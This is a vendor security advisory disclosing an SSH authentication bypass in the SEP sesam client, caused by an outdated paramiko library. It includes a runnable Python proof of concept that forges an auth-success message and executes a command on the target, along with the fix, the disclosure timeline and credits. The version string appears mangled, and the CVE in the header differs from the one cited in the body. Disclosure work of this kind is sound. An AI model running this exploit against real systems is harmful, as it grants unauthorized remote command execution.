usd-2018-0025 | SEP sesam/22.214.171.124
Advisory ID: usd-2018-0025
CVE Number: CVE-2018-7750
Affected Product: SEP sesam
Affected Version: 126.96.36.199
Vulnerability Type: Authentication Bypass
Security Risk: High
Vendor URL: https://www.sep.de/
Vendor Status: Fixed
SEP sesam uses an outdated version of paramiko (2.2.3) in sm_sshd, which has a known authentication bypass vulnerability (CVE-2018-1000805)
Proof of Concept
Install the SEP sesam client. It opens an SSH server at port 11322. Run the following python script to exploit CVE-2018-1000805.
#!/usr/bin/env python from paramiko.common import cMSG_USERAUTH_SUCCESS, cMSG_USERAUTH_INFO_RESPONSE import paramiko port = 11322 hostname = '[IP of client machine]' username = '' password = '' client = paramiko.SSHClient() #enable warning policy to allow connections to all servers client.set_missing_host_key_policy(paramiko.WarningPolicy()) #overwrite auth method to skip the auth process client._auth = lambda *args, **kwargs: None client.connect(hostname, port, username, password) #craft MSG_USERAUTH_SUCCESS message m = paramiko.Message() m.add_byte(cMSG_USERAUTH_SUCCESS) client._transport._send_message(m) stdin, stdout, stderr = client.exec_command('whoami') print stdout.read() client.close()
Update paramiko to version 2.2.4
- 2018-09-11 notify firstname.lastname@example.org
- 2018-10-08 notify email@example.com
- 2018-12-07 verified that sesam 4.4.3-64 uses Paramiko 2.2.4
- 2018-12-07 Security advisory released
This security vulnerabilities were found by Daniel Hoffmann and Konstantin Samuel of usd AG.
ABOUT usd SECURITY ADVISORIES
In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.
Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.
Always for the sake of our mission: “more security.”
In accordance with usd AG’s Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.
The information provided in this security advisory is provided “as is” and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.